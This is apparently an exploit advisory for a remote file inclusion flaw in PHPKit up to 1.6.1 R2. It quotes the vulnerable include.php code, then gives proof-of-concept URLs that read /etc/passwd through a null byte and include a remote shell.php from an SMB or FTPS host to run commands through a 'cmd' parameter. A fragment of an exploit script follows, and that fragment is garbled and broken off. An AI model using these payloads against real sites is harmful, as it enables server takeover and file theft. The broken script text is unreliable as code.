---------- PHPKit <= v.1.6.1 release 2 remote code execution ------------------- software: site: www.phpkit.de description: a Content Management / homepage / community building software written in PHP language -------------------------------------------------------------------------------- vulnerable code in include.php at line 558/579: ... if(!empty($path)) $path_filename=pkDIRPUBLIC.(substr($path,-4)=='.php' ? substr(basename($path),0,-4) : $path).pkEXT; if(filecheck($path_filename)) { include($path_filename); } [*] elseif(filecheck($path) && strstr(strtolower($path),'.php') && !strstr(strtolower($path),'http://') && !strstr(strtolower($path),'https://') && !strstr(strtolower($path),'ftp://') && !strstr($path,"../")) { include($path); } elseif(!strstr(strtolower($file),'http://') && filecheck($file) && !strstr($file,"../") && file_extension($file)!='php') { $site_body.=implode('',file($file)); } elseif(!empty($src)) { $src=pkEntities($src); eval("\$site_body.=\"".getTemplate("site_iframe")."\";"); } else pkEvent('page_not_found'); ... and in inc/func/default.php at line 355-362: ... function filecheck($file) { if(!($fp=@fopen($file,'r'))) return false; fclose($fp); return true; } ... "path" var is not properly sanitized before to be used to include files from local resources. Look carefully at [*]: script checks if "path" is an existing and readable file, it must not contain "http://", "ftp://" url wrappers and "../" chars, it must contain the ".php" extension. This checks can be easily overrided to include files from local and external resources, poc: if magic_quotes_gpc = Off, you can view any file on target system using a null char: http://[target]/[path]/include.php?path=/etc/passwd%00.php http://[target]/[path]/include.php?path=c:\boot.ini%00.php (about this: strstr() function find ".php" extension, but fopen() and include() do not consider any char after a null char) regardless of any php.ini settings you can include an arbitrary php file from local resources: http://[target]/[path]/include.php?path=c:\[path_to]\test.php http://[target]/[path]/include.php?path=/[path_to]/test.php also, since fopen() and include() functions support Samba and FTP secure url wrappers, if allow_url_fopen = On, you can include a php file from external resources, poc: from a samba server: http://[target]/[path]/include.php?path=\\192.168.1.2\c\shell.php from a ftp secure server (this should works if php is compiled in support for OpenSSL) http://[target]/[path]/include.php?path=ftps://username:password@somehost/shell.php if shell.php have this code inside: you can execute commands on target system, poc: http://[target]/[path]/include.php?cmd=ls%20-la&path=\\192.168.1.2\c\shell.php -------------------------------------------------------------------------------- exploit: works with allow_url_fopen = On # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu: "All men can see the tactics whereby I conquer, but what none can # # see is the strategy out of which victory is evolved." # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",0); ob_implicit_flush (1); echo'
* PHPKIT <= 1.6.1R2 remote commands execution exploit **
a script by rgod at http://retrogod.altervista.org
"; for ($li=0; $li<=15; $li++) { echo " | ".htmlentities($headeri[$li+$ki])." | "; } $ki=$ki+16; echo "||
0".htmlentities($datai)." | "; } else { echo "".htmlentities($datai)." | "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "   | "; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "".htmlentities($headeri[$li])." | "; } echo "